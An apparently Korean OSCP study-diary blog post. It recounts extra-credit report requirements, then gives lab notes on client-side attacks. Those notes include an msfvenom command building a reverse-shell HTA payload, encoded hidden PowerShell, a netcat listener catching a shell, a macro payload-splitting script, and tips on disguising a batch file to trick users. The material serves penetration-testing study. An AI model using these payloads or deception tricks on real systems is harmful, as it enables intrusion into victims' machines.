시험 때 제출해야 하는 주 보고서 말고
lab 머신 10개 이상 공략 + 문서 내에 있는
모든 exercise를 해결한 보고서를 추가로 제출하면
가산점으로 5점을 주는데 (모두 제대로 푼 경우)
나는 멋대로 이 기준을 lab 머신 10개라고만
생각하고 있었다.
중간중간 Exercise에
'이건 보고서로 작성하지 않아도 된다'
라는 문구가 섞여 있었는데 보면서 응? 뭐라고?
하며 넘겼다가 아무래도 찝찝해 오늘 다시 읽어보니
가산점을 받으려면
랩 머신 10개 이상 공략 성공 보고서 '그리고'
모든 exercise를 다 풀었다는 보고서를
제출해야 하는 것.
안일했다.
지금까지 개인적으로 중요하다고
생각이 드는 것만 내 방식대로 복습했었고
기록은 간단히 블로그에만 해왔는데
이런...
그 덕에 처음부터 부랴부랴
보고서를 추가로 작성하기 시작했는데
이 작업, 시간이 또 제법 걸린다.
아무래도 영어라 문제를
올바르게 해석하는데도 시간이 걸리고
당연히 문제를 푸는데도 시간이 걸린다.
보고서 작성하는 것도 마찬가지..
현재 진도는 총 25 챕터 중 15챕터까지,
문서 + 동영상 포함 456쪽까지 나갔고
exercise는 4챕터까지 밖에 못 끝냈다.
약속의 시간이 끝났지만 다 마치려면
최소 닷새는 더 걸릴듯하다.
이럴 수가..
그냥 5점을 포기할까도 생각했지만
가산점을 받고 안 받고를 떠나
성격상 뭐가 있는데 안 하고 넘어가는 걸
못 견디는 성격이라 그냥 공부하는 마음으로
하기로 했다.
실제로 배우는 게 많기도 하고
차라리 잘 되었다.
아무리 생각해 봐도 한 달짜리
끊었음 정말 큰일 날 뻔했다.
오늘도 수고했다.
1. CLIENT-SIDE ATTACKS
"Time spend doing research is never waisted."
- Passive Client Information Gathering
- Active Client Information Gathering
- Social Engineering and Client-side attacks
- Client Fingerprinting (wget https://github.com/Valve/fingerprintjs2/archive/master.zip)
1) Leveraging HTML Applications
a) 기본 커맨드 프롬프트 실행 스크립트 cmd.hta
<html>
<head>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>
self.close();
</script>
</body>
</html>
이 파일에 접근해 실행시키면 접속됨
b) HTA Attack in Action :
기본 HTML application을 공격 구문으로 바꿔 사용.
create hta payload based on PowerShell
kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f
hta-psh -o /var/www/html/evil.hta
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 6461 bytes
Saved as: /var/www/html/evil.hta
페이로드 분석
$cat evil.hta
<script language="VBScript">
window.moveTo -4000, -4000
Set pGsK3sfdafQ = CreateObject("Wscript.Shell") // 방화벽,백신, IDS 탐지 우회를 위한
Set pIIrp4EtN = CreateObject("Scripting.FileSystemObject") // 변수이름 랜덤 생성
For each path in Split(pGsK3sfdafQ.ExpandEnvironmentStrings("%PSModulePath%"),";")
If pIIrp4EtN.FileExists(path + "\..\powershell.exe") Then
pGsK3sfdafQ.Run "powershell.exe -nop -w hidden -e // -nop noProfile
// -w hidden windowStyle hidden
// 제일 중요한 -e EncodedCommand in base64 PowerShell Script
....... AOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbw................................
리스너 기동하고
침투 서버에서 해당 파일로 접속해 실행하면
┌──(root💀takudaddy)-[~]
└─# nc -lvnp 7979
listening on [any] 7979 ...
connect to [192.168.119.160] from (UNKNOWN) [192.168.160.10] 58826
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\offsec.CLIENT251\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads>ipconfig
성공
2) Exploiting Microsoft Office
a) Microsoft Macro (대표적 attack vector)
python script to split Base64 encoded string
str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC....."
n = 50
for i in range(0, len(str), n):
print "Str = Str + " + '"' + str[i:i+n] + '"'
=========================================
출력 결과
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
=================
출력 결과 클립보드로 보내 저장시키는 방법
$ python ./split.py | xclip -selection clipboard
let's re-establish(launched) our Netcat listener
...we would see that the macro works flawlessly
macros 모듈 수정하고
파일 실행하면 수행됨
b) Object Linking and Embedding
C:\Users\offsec.CLIENT251>cd Desktop
C:\Users\offsec.CLIENT251\Desktop>echo START cmd.exe > launce.bat
C:\Users\offsec.CLIENT251\Desktop>
이런 식으로 아이콘 모양으로 바꿔주고
이름도 의심 안 가도록 바꿔준 후
클릭해 실행하도록 만들면 됨.
c) Evading Protected View
2. Locating Public Exploits
1) A word of Caution
2) Searching for Exploits :
a) Online : exploit-db
b) Offline
- Searchsploit
경로 : /usr/share/exploitdb/exploits
- Nmap NSE Scripts
경로 : /usr/share/nmap/scripts
사용법 : $ grep Exploits *.nse
$ nmap --script-help=clamav-exec.nse
- Beef (The Browser Exploitation Framework)
- The Metasploit Framework
'OSCP > OSCP 공부일지' 카테고리의 다른 글
OSCP Day 8 : 일주일 공부 결산 (2) | 2021.05.03 |
---|---|
OSCP Day 7 (0) | 2021.05.02 |
OSCP Day 5 : BOF2 (Linux) (0) | 2021.04.30 |
OSCP Day 4 : BOF (WIN32) (0) | 2021.04.29 |
OSCP Day 3 (0) | 2021.04.27 |